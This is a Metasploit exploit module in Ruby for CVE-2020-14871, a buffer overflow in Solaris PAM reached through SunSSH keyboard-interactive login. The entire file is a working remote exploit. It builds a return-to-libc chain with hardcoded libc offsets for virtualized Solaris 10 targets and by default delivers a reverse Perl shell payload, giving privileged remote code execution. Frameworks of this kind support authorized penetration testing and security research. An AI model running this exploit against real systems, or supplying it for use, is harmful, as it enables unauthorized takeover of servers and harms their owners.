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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::CheckModule
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  include Msf::Exploit::Remote::SSH
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack-based buffer overflow in the Solaris PAM
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          library's username parsing code, as used by the SunSSH daemon when the
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          keyboard-interactive authentication method is specified.
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          Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,
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          VMware Fusion, and VMware Player. Bare metal untested. Your addresses
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          may vary.
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        },
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        'Author' => [
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          'Jacob Thompson', # Analysis
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          'Aaron Carreras', # Analysis
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          'Jeffrey Martin', # Testing
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          'Hacker Fantastic', # PoC
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          'wvu' # Exploit
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        ],
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        'References' => [
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          ['CVE', '2020-14871'],
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          ['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
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          ['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'],
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          ['URL', 'https://hacker.house/lab/cve-2020-18471/'],
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          ['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841']
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        ],
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        'DisclosureDate' => '2020-10-20', # Vendor advisory
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Privileged' => true,
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        'Payload' => {
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          # https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L617
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          'BadChars' => "\x00\x09\x20",
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          'Encoder' => 'cmd/perl'
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        },
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        'Targets' => [
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          [
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            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware',
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            {
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              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
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              'LibcBase' => 0xfeb90000
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            }
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          ],
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          [
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            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox',
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            {
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              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
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              'LibcBase' => 0xfeb80000
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            }
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          ]
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'PAYLOAD' => 'cmd/unix/reverse_perl',
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          'SSH_TIMEOUT' => 2,
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          'CheckModule' => 'auxiliary/scanner/ssh/ssh_version'
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_RESTARTS],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS]
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        }
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      )
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    )
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  end
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  def check
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    # Run auxiliary/scanner/ssh/ssh_version
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    checkcode = super
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    return checkcode unless checkcode == CheckCode::Detected
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    unless target['Ident'] == checkcode.details[:ident]
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      return CheckCode::Safe("#{target.name} is an incompatible target.")
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    end
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    CheckCode::Appears("#{target.name} is a compatible target.")
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  end
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  def exploit
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    print_status("Exploiting #{target.name}")
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    ssh_client_opts = ssh_client_defaults.merge(
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      port: rport,
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      auth_methods: ['keyboard-interactive'],
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      password: ret2libc, # HACK: This is really the username prompt on Solaris
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      timeout: datastore['SSH_TIMEOUT']
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    )
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    ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
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    print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}")
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    # Empty initial username
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    Net::SSH.start(rhost, '', ssh_client_opts)
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  rescue Net::SSH::AuthenticationFailed
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    print_error(CheckCode::Safe.message)
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  rescue Net::SSH::Disconnect
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    print_warning('Disconnected, target selection may be incorrect!')
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  rescue Net::SSH::ConnectionTimeout
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    # Do nothing on success
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  end
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  # XXX: No ASLR, but NX stack and libc base changes...
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  def ret2libc
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    buf = rand_text(516) # Offset to saved EIP
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    buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret
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    buf << rand_text(4) # Padding
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    buf << p32(0x08040101) # ecx
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    buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret
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    buf << p32(target['LibcBase'] + 0x256d0) # exit(3)
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    buf << p32(target['LibcBase'] + 0x91edf) # system(3)
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    buf << rand_text(4) # Padding
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    buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret
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    buf << payload.encoded
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  end
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  def p32(addr)
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    [addr].pack('V')
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  end
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end
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